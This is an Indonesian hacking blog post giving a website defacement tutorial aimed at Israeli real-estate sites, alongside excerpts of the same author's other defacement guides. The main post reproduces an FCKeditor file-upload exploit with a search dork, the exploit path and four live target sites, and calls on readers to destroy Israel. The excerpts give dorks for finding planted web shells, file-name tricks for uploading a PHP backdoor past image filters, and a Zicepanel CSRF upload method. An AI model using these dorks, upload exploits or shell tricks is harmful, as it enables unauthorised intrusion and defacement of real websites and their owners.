Skip to main content

Deface Situs Israel : Powered By EssesCyb3r7



Assalamualaikum saudara saudara muslim sebangsa dan setanah air 🙂 kembali bertemu dengan saya Z..., ya si kalian bisa panggil saya EssesCyb3r7 terserah deh kalian mau panggil aku apa? Haha.
Baiklah saya akan share tutorial deface khusus situs ISRAEL, karena saya baru nemuin nya, semalem lah tgl 28 juli , sekarang kan tgl 2 hehe, ok ni simak aja




Exploit Title: Powered by Real Estate in Israel File Upload Vulnerability
Dork: intext:Powered by Real Estate in Israel
Author: BadBoy
Category: Remote, Webapps
Tested on: Windows Xp SP3

Poc/Exploit:
http://[localhost]/PATCH//FCKeditor/editor/filemanager/connectors/uploadtest.html
Allowed File:
You can upload pdf ,ppt ,txt ,doc ,rtf ,xml ,xsl ,dtd ,zip ,rar ,jpg ,png files
Preview:
– You can see if you success upload file.
Live Target:
– http://www.firstimmo1.com/FCKeditor/editor/filemanager/connectors/uploadtest.html
– http://www.tekoa-realty.com/FCKeditor/editor/filemanager/connectors/uploadtest.html
– http://www.ozma-nechasim.co.il/FCKeditor/editor/filemanager/connectors/uploadtest.html
– http://www.ruben1.com/FCKeditor/editor/filemanager/connectors/uploadtest.html
==================================================

Apa pendapat kalian? Pasti mudahkan, karena saya tidak ingin memberikan materi SQL, saya rasa anak kecil pun bisa SQL hehe, sekarang bagaimana kita bermain exploit dengan menyerang URL 🙂
Ok semoga berguna ya, semangat hancurkan ISRAEL, sumpah dari umur saya 11 thn dan sekarang 16 thn, saya sudah mendukung gerakan Freedom Palestina !! Support dan bantu Palestina saudara  😊

Comments

Post a Comment

Popular posts from this blog

Deface Poc Dorking Shell

Deface Poc Dorking Shell Assalamualaikum Wr Wb kali ini saya akan share tentang Deface Poc Dorking Shell okee langsung saja gaskeunn.... Bahan 1. Dork :  inurl:minishell.php intext:shell intitle:Mini Shell inurl:mini.php intitle:IndoXploit inurl:idx.php       *kembangin sendiri aja ok 2. Sabar cuy 😂 tak semudah itu mendapatkannya, karena kadang shell     nya sudah ngga karena keduluan ama orang :voss 3. Kopi ea biar ga ngantuk - langsung saja dorking dengan dork di atas - lalu kita buka tuh web yang muncul satu per satu sampe dapet 😂 - dan hore saya dapet euyy - sekarang kalian tinggal upload shell milik kalian atau script deface oke mungkin cukup sekian tutorial kali ini see you on the next tutorial and peaceeeee 😀
2 comments
Read more

Cara Merubah Shell Backdoor Php Menjadi Jpg

Hallo sobat kembali lagi dengan saya EssesCyber7 di kesempatan kali ini saya akan memberikan informasi tentang deface ya... Setelah hacking panel admin website, lo langsung mencari tempat untuk meng-upload gambar. dari sana terkadang file .PHP tidak diperbolehkan atau ada pembatasan pada upload. Php file, Jadi inorder untuk meng-upload dan mengeksekusi untuk shell Anda harus mengubah ekstensi dari shell Anda. Buka shell Anda di notepad kemudian Save As dan mengubah ekstensi untuk salah satu salah satu dibawah ini, agar format shell PHP bisa masuk melalui File Upload kusus .JPG lo harus me Rename Shell dengan format sesuai dibawah : Inilah contohnya :       shell.php.jpg shell.php..pjepg shell.php.jpg shell.php.jpg9 shell.php.jpg%; shell.php.xxjpg shell.jpg.php shell.php.jpg Nah itulah contohnya, semoga bermanfaat. Jangan lupa share ke teman-teman kalian biar mereka tau...
Post a Comment
Read more

Cara Deface Dengan Poc Zicepanel CSRF Attack

Hallo semuanya  balik lagi dengan saya EssesCyber7... Kali ini saya akan memberikan tutorial deface metode  Deface Dengan Poc Zicepanel CSRF Attack Oke langsung weh.. Pertama tama dorking dulu dengan dork di bawah ini Dork :  inurl:/themes/zicepanel   Exploit : /themes/zicepanel/components/uploadify/uploadify.php   CSRF Online : http://www.akuheker.tk/?p=csrf Seperti biasanya nih gan, kalian harus sarching terlebih dahulu di Google dengan Dork yang saya berikan di atas, kalian juga bisa kembangin Dorknya sendiri agar lebih bagus. Searching Dulu Digugel pilih salah satu web Pilih target dan masukin exploitnya,apabila blank itu vuln Lalu kita Pergi Csrf,Klik Sini  CSRF ONLINE , lalu isi kolom pertama dengan targetnya,yg kolom kedua isi dengan Filedata apa bila sukses maka ada tempat upload Ok sekian terimakasih  Semoga bermanfaat:)
Post a Comment
Read more